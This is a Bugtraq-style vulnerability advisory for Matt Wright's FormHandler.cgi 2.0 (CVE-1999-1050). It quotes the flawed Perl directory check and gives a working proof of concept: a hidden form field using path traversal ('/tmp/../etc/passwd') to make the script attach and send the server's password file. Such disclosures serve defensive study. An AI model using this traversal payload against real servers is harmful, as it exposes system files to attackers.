FormHandler.cgi Reply Attachment Vulnerability

BID:799

Info

FormHandler.cgi Reply Attachment Vulnerability

Bugtraq ID: 799
Class: Access Validation Error
CVE: CVE-1999-1050
Remote: Yes
Local: Yes
Published: Nov 16 1999 12:00AM
Updated: Jul 11 2009 12:56AM
Credit: Posted to bugtraq on November 16, 1999 by m4rcyS <[email protected]>.
Vulnerable: Matt Wright FormHandler.cgi 2.0
Not Vulnerable:

Exploit / POC

FormHandler.cgi Reply Attachment Vulnerability

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&amp;valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
&lt;INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd"&gt;

Solution / Fix

FormHandler.cgi Reply Attachment Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

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